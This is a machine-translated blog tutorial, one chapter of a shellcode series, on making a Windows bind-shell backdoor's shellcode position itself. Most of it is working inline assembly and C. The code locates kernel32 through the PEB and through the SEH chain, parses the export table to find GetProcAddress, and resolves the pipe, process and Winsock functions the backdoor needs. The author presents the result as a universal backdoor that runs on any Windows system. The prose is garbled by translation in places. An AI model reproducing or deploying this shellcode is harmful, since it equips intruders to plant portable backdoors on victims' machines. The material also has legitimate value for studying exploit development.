1.7 Improve self-positioning ShellCode

In the previous article, we implemented a forward anonymous pipeline ShellCodebackdoor. In order to ensure that the article is concise and easy to understand, we did not add a dynamic positioning function for the calling function. This method will lead to our backdoor due to address changes after changing the system. cannot be used normally, the next step will be to obtain GetProcAddreesthe function address through PEB, and implement the self-locating function of the address of other required functions based on this function, and automatically locate the dynamic address of the required function by enumerating the memory export table, thereby realizing the backdoor of versatility.

1.7.1 Locating GetProcAddress via PEB

In Chapter 4.5, the author has completely analyzed and implemented kernel32.dllthe detailed analysis process of the base address of the positioning module. The following will directly use PEBthe search kernerl32address. Readers can jump to the corresponding articles to learn and understand according to their own needs. This chapter only gives the implementation process. ;

  • 1. Locate the FS register, the FS register points to the TEB structure
  • 2. TEB+0x30Pointing to the PEB structure in the structure
  • 3. Point to the structure in PEB+0x0CplacePEB_LDR_DATA
  • 4. PEB_LDR_DATA+0x1CThe address of kernel32.dll is stored in the second array of the place.
#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    
    
    LoadLibrary("kernel32.dll");
    __asm
    {
    
    
        mov eax, fs:0x30        ; PEB的地址
        mov eax, [eax + 0x0c]   ; Ldr的地址
        mov esi, [eax + 0x1c]   ; Flink地址
        lodsd
        mov eax, [eax + 0x08]   ; eax就是kernel32.dll的地址
        mov Kernel32,eax
    }
    system("pause");
    return 0;
}

By running the above program, the reader can obtain kernel32.dllthe memory address of the module 0x75B20000, and the output rendering is as follows;

Now that we have the base address of the current module, the next step is to find GetProcAddressthe memory address through this address, GetProcAddresswhich is kernel32.dllthe exported function in the module, so we can kernel32.dllfind GetProcAddressthe memory address of the function by looking up the export table.

First, the structure definition of the export table is as follows;

Typedef struct _IMAGE_EXPORT_DIRECTORY
{
    
    
 Characteristics; 4
 TimeDateStamp 4         # 时间戳
 MajorVersion 2          # 主版本号
 MinorVersion 2          # 子版本号
 Name 4                  # 模块名
 Base 4                  # 基地址,加上序数就是函数地址数组的索引值
 NumberOfFunctions 4     # EAT导出表条目数
 NumberOfNames 4         # ENT导出函数名称表
 AddressOfFunctions 4    # 指向函数地址数组
 AddressOfNames 4        # 函数名字的指针地址
 AddressOfNameOrdinal 4  # 指向输出序列号数组
}

The meaning of the fields:

NumberOfFunctions field: is AddressOfFunctionsthe number of function address arrays pointed to;
NumberOfName field: is AddressOfNamesthe number of function name arrays pointed to;
AddressOfFunctions field: is an array pointing to all function addresses in the module;
AddressOfNames field: is an array pointing to all function names in the module;
AddressOfNameOrdinals field: points to AddressOfNamesan array of ordinals corresponding to functions in the array;

When the reader needs to Kernel32.dllquery the address in the module GetProcAddress, he can use the implementation process as shown below;

  • 1. By finding and getting the module base address TEB/PEBin itkernel32.dll
  • 2. (基址+0x3c)Obtain e_lfanewchere represents the logo of the PE module.
  • 3. (基址+e_lfanew+0x78)Get the address of the export table at
  • 4. (基址+export+0x1c)Get it everywhereAddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
  • 5. Search AddressOfNamesto determine GetProcAddressthe correspondingindex
  • 6. The subscript index = AddressOfNameOrdinalse [ index ]is extracted, and the function address is stored AddressOfFunctions [ index ]in it

As shown in the above process, GetProcAddressthe address we are looking for is the name of the search in the function name array GetProcAddress; after finding it, according to the number, we get its corresponding serial number value in the serial number array; finally, based on the serial number value, we extract it from the address array. its address. Its assembly code is as follows, and a detailed explanation is given.

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    
    
    LoadLibrary("kernel32.dll");

    __asm
    {
    
    
            // 得到Kernel32基址
            mov eax, fs:0x30        ; PEB的地址
            mov eax, [eax + 0x0c]   ; Ldr的地址
            mov esi, [eax + 0x1c]   ; Flink地址
            lodsd                   ;加载字符串
            mov eax, [eax + 0x08]  ; kernel32.dll基址

            // 定位到导出表
            mov ebp, eax                ; 将基址存入ebp
            mov eax, [ebp + 3Ch]        ; eax = PE首部
            mov edx, [ebp + eax + 78h]  ; 导出表地址
            add edx, ebp                ; edx = 导出表地址
            mov ecx, [edx + 18h]        ; ecx = 输出函数的个数
            mov ebx, [edx + 20h]
            add ebx, ebp                ; ebx =函数名地址,AddressOfName

        search :
            dec ecx
            mov esi, [ebx + ecx * 4]
            add esi, ebp                ; 依次找每个函数名称

            // 枚举寻找GetProcAddress
            mov eax, 0x50746547
            cmp[esi], eax; 'PteG'
            jne search
            mov eax, 0x41636f72
            cmp[esi + 4], eax; 'Acor'
            jne search

            // 如果是GetProcAddr则计算导出地址
            mov ebx, [edx + 24h]
            add ebx, ebp              ; ebx = 序号数组地址, AddressOf
            mov cx, [ebx + ecx * 2]   ; ecx = 计算出的序号值
            mov ebx, [edx + 1Ch]
            add ebx, ebp              ; ebx=函数地址的起始位置,AddressOfFunction
            mov eax, [ebx + ecx * 4]
            add eax, ebp              ; 利用序号值,得到出GetProcAddress的地址
    }

    system("pause");
    return 0;
}

add eax,ebpReaders need to set a breakpoint at the end of the disassembly , and then run the program. eaxFrom the observed data, we can see that the current GetProcAddressaddress is 0x75c39570, and the output rendering is as follows;

1.7.2 Compile to realize dynamic positioning function

With the support of the above functions, the implementation of dynamic positioning will become extremely easy. First, we determine the memory address through dynamic positioning GetProcAddress. The function receives a string parameter, then we pushconvert the hexadecimal value of the string into It is pushed onto the stack and saved in call [ebp+76]sequence , and then GetProcAddressthe memory address is dynamically obtained by calling a function. When the address is obtained, it is stored in the EAX register by default. At this time, it mov [ebx+]is filled in sub esp,80the allocated local space in turn and waits to be called.

The first prerequisite for implementing this function is that we need to get the hexadecimal value corresponding to a specific string and cut the value in 32-bit mode. This code can be converted very quickly using the Python language, as shown below. After the reader runs it, it will output the hexadecimal form of the function string we need;

import os,sys

# 传入字符串转为机器码
def StringToHex(String):
    # 将字符串转换成字节串
    byte_str = String.encode()
    # 将字节串转换成16进制字符串
    hex_str = byte_str.hex()
    # 将16进制字符串分割成32位一组,并用0填充不足32位的部分
    hex_list = [hex_str[i:i+8].ljust(8, '0') for i in range(0, len(hex_str), 8)]
    # 用空格连接每组32位的16进制字符串
    result = ' '.join(hex_list)
    return result

if __name__ == "__main__":

    MyList = [
        "LoadLibraryA","CreatePipe","CreateProcessA","PeekNamedPipe","WriteFile",
        "ReadFile","ExitProcess","WSAStartup","socket","bind","listen","accept",
        "send","recv","Ws2_32"
    ]

    for index in range(0,len(MyList)):
        print("[*] 函数 = {:18s} | 压缩数据: {}".format(MyList[index],StringToHex(MyList[index])))

By running the above code snippet, the reader can get the hexadecimal form of the function, which is cut by 32 bits, and any less than 32 bits is padded with 0s, as shown in the figure below;

First, we take CreatePipea function as an example. The function string compressed data is 43726561,74655069,70650000, and due to the last-in-first-out feature of the stack, we need to flip it over to store it. Flip it over 00006570,69506574,61657243, and because the memory address of the current function GetProcAddressis stored at ebp+76, then the purpose of calling the function can be achieved through CALLthis address. When the execution is completed, the return value is placed in the EAX register. At this time, you only need to mov [ebp+]assign values ​​to different variables according to different variable spaces;

push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi 
call [ebp+76]
mov [ebp+4], eax; CreatePipe 

Next, let’s talk about WSAStartupthe function. This function is obviously not kernel32.dllwithin the module. It is Ws2_32.dllwithin the module. We need to first call, call [ebp+80]that is, call the LoadLibraryloading module to get the base address of the module, and then get the base address of the function in the module ws2_32.dllthrough the call. But readers It should be noted that when you need to push two parameters, the string refers to the string, and it is our string, which is described in the form of a high-level language;call [ebp+76]WSAStartupcall [ebp+76]push ediws2_32.dllpush espWSAStartupGetProcAddress("Ws2_32.dll","WSAStartup")

push dword ptr 0x00003233
push dword ptr 0x5f327357
push esp
call [ebp+80] ;LoadLibrary(Ws2_32) 0x00003233 5f327357
mov edi, eax 

push dword ptr 0x00007075
push dword ptr 0x74726174
push dword ptr 0x53415357
push esp
push edi
call [ebp+76]
mov [ebp+28], eax; WSAStartup 0x00007075 0x74726174 0x53415357

Based on the above extraction principles, readers can extract code snippets and replace strings at specific locations. Finally, they can get a self-positioning ShellCode code snippet as shown below. After running this snippet, we can enumerate the memory address of the function we need. And put it in a temporary variable, waiting for us to use;

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    
    
    LoadLibrary("kernel32.dll");
    LoadLibrary("ws2_32.dll");

    __asm
    {
    
    
        push ebp;
        sub esp, 100;
        mov ebp, esp;

        mov eax, fs:0x30
        mov eax, [eax + 0x0c]
        mov esi, [eax + 0x1c]
        lodsd
        mov edi, [eax + 0x08]

        mov eax, [edi + 3Ch]
        mov edx, [edi + eax + 78h]
        add edx, edi
        mov ecx, [edx + 18h]
        mov ebx, [edx + 20h]
        add ebx, edi
    search :
        dec ecx
        mov esi, [ebx + ecx * 4]
        add esi, edi
    ; GetProcAddress
        mov eax, 0x50746547
        cmp[esi], eax; 'PteG'
        jne search
        mov eax, 0x41636f72
        cmp[esi + 4], eax; 'Acor'
        jne search

    ; 如果是GetProcA表示找到
        mov ebx, [edx + 24h]
        add ebx, edi
        mov cx, [ebx + ecx * 2]
        mov ebx, [edx + 1Ch]
        add ebx, edi
        mov eax, [ebx + ecx * 4]
        add eax, edi
    ; 把GetProcAddress的地址存在ebp + 76中
        mov[ebp + 76], eax

        push 0x0
        push dword ptr 0x41797261
        push dword ptr 0x7262694c
        push dword ptr 0x64616f4c
        push esp
        push edi
        call[ebp + 76]
    ; 把LoadLibraryA的地址存在ebp+80中
        mov[ebp + 80], eax; LoadLibraryA 0x41797261 0x7262694c 0x64616f4c

        push dword ptr 0x00006570
        push dword ptr 0x69506574
        push dword ptr 0x61657243
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 4], eax; CreatePipe 0x00006570 69506574 61657243

        push dword ptr 0x00004173
        push dword ptr 0x7365636f
        push dword ptr 0x72506574
        push dword ptr 0x61657243
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 8], eax; CreateProcessA 0x4173 7365636f 72506574 61657243

        push dword ptr 0x00000065
        push dword ptr 0x70695064
        push dword ptr 0x656d614e
        push dword ptr 0x6b656550
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 12], eax; PeekNamedPipe 0x00000065 70695064 656d614e 6b656550

        push dword ptr 0x00000065
        push dword ptr 0x6c694665
        push dword ptr 0x74697257
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 16], eax; WriteFile 0x00000065 0x6c694665 0x74697257

        push dword ptr 0
        push dword ptr 0x656c6946
        push dword ptr 0x64616552
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 20], eax; ReadFile

        push dword ptr 0x00737365
        push dword ptr 0x636f7250
        push dword ptr 0x74697845
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 24], eax; ExitProcess 0x00737365 0x636f7250 0x74697845

        push dword ptr 0x00003233
        push dword ptr 0x5f327357
        push esp
        call[ebp + 80]; LoadLibrary(Ws2_32) 0x00003233 5f327357
        mov edi, eax

        push dword ptr 0x00007075
        push dword ptr 0x74726174
        push dword ptr 0x53415357
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 28], eax; WSAStartup 0x00007075 0x74726174 0x53415357

        push dword ptr 0x00007465
        push dword ptr 0x6b636f73
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 32], eax; socket 0x00007465 0x6b636f73

        push dword ptr 0
        push dword ptr 0x646e6962
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 36], eax; bind 0x646e6962

        push dword ptr 0x00006e65
        push dword ptr 0x7473696c
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 40], eax; listen 0x00006e65 0x7473696c

        push dword ptr 0x00007470
        push dword ptr 0x65636361
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 44], eax; accept 0x00007470 0x65636361

        push 0
        push dword ptr 0x646e6573
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 48], eax; send 0x646e6573

        push 0
        push dword ptr 0x76636572
        push esp
        push edi
        call [ebp + 76]
        mov [ebp + 52], eax; recv 0x76636572
    }

    system("pause");
    return 0;
}

The reader can make a judgment at a specific location and switch to assembly mode. For example, the reader can set system("pause")a breakpoint above and switch to the automatic window after running. EAX=0x76c323a0The memory address that can be seen is exactly recvthe memory address of the function, as shown below. shown;

At this point, we have implemented the enumeration of function memory through self-positioning. Readers can copy and replace the positioning code in this case to the previous article. At this time, we have implemented a complete universal backdoor program ShellCode. The program can Windowsbe executed correctly under any system;

1.7.3 Use SEH chain to obtain Kernel32 base address

SEH (Structured Exception Handling) exception handling chain is a data structure used to maintain and track the calling relationship of exception handlers that occur when the program is running. When an exception occurs during program execution, the SEH exception handling chain traverses the exception handlers in the linked list in a certain order until it finds a program that can handle the exception.

There is a default exception handling function in the SEH linked list. UnhandledExceptionFilterWhen the program encounters an unhandled exception during execution, the operating system will call UnhandledExceptionFiltera function to catch the exception, and the function will return a specific value to tell the operating system how to handle the exception. .

The UnhandledExceptionFilter pointer is at the end of the exception chain, and its previous value points to the address of the next processing point. Because there is no exception handling point later, it will be represented as 0xFFFFFFFF.

With this principle, we can search the exception handling linked list and get the UnhandledExceptionFiltermemory address. First, we mov esi,fs:0get the thread's TLSpointer, which is the thread's local storage, and then traverse downward in a loop until we reach the end of the pointer. At this time UnhandledExceptionFilterThe address is also obtained , and the following code snippet can output the address;

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    
    
    LoadLibrary("kernel32.dll");

    DWORD address = 0;

    __asm
    {
    
    
        mov esi, fs:0;
        lodsd;

    GetExeceptionFilter:
        cmp[eax],0xffffffff
        je GetedExeceptionFilter     ; 到最后
        mov eax, [eax]               ; 否则继续遍历
        jmp GetExeceptionFilter

    GetedExeceptionFilter:
        mov eax, [eax + 4]
        mov address,eax
    }

    printf("UnhandledExceptionFilter = %x \n", address);

    system("pause");
    return 0;
}

Executing the above assembly instructions, you can obtain UnhandledExceptionFilterthe memory address, and the output result here is as shown in the figure below;

At this point we have obtained UnhandledExceptionFilterthe memory address of the function. Since the function is Kernel32.dllan exported function, we UnhandledExceptionFiltersearch upwards from the address of the function and find the beginning, which is naturally Kerner32the base address.

In addition, because Kerner32the module is also an executable file, its start mark is also MZand PE, and because when the system allocates a certain space, it always starts from an allocation granularity boundary. Under 32-bit, this granularity is 64KB. So when we search, we can 64kbsearch to the lower address in descending order. When we reach the MZand PEmark, we will find Kernel32the base address. The implementation code is as follows:

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    
    
    LoadLibrary("kernel32.dll");

    DWORD address = 0;

    __asm
    {
    
    
        mov esi, fs:0;
        lodsd;

    GetExeceptionFilter:
        cmp[eax],0xffffffff
        je GetedExeceptionFilter     ; 到最后
        mov eax, [eax]               ; 否则继续遍历
        jmp GetExeceptionFilter

    GetedExeceptionFilter:
        mov eax, [eax + 4]

    FindMZ :
           and eax, 0xffff0000        ; 64k对齐特征
           cmp word ptr[eax], 'ZM'    ; 判断是不是MZ格式
           jne MoveUp
           mov ecx, [eax + 0x3c]
           add ecx, eax
           cmp word ptr[ecx], 'EP'     ; 判断是不是PE
           je Found                    ; 找到了
    MoveUp :
            dec eax                    ; 指向下一个界起始地址
            jmp FindMZ
    Found :
            mov address, eax
        nop
    }

    printf("Kernel32 = %x \n", address);

    system("pause");
    return 0;
}

Compile and run the above assembly code, kernel32.dllthe base address of the module can be output, and the output effect is as follows;

Author of this article: Wang Rui
Link to this article: https://www.lyshark.com/post/a6bb88a7.html
Copyright Statement: Unless otherwise stated, all articles on this blog adopt the BY-NC-SA license agreement. Please indicate the source!

Guess you like

Origin blog.csdn.net/lyshark_csdn/article/details/132576271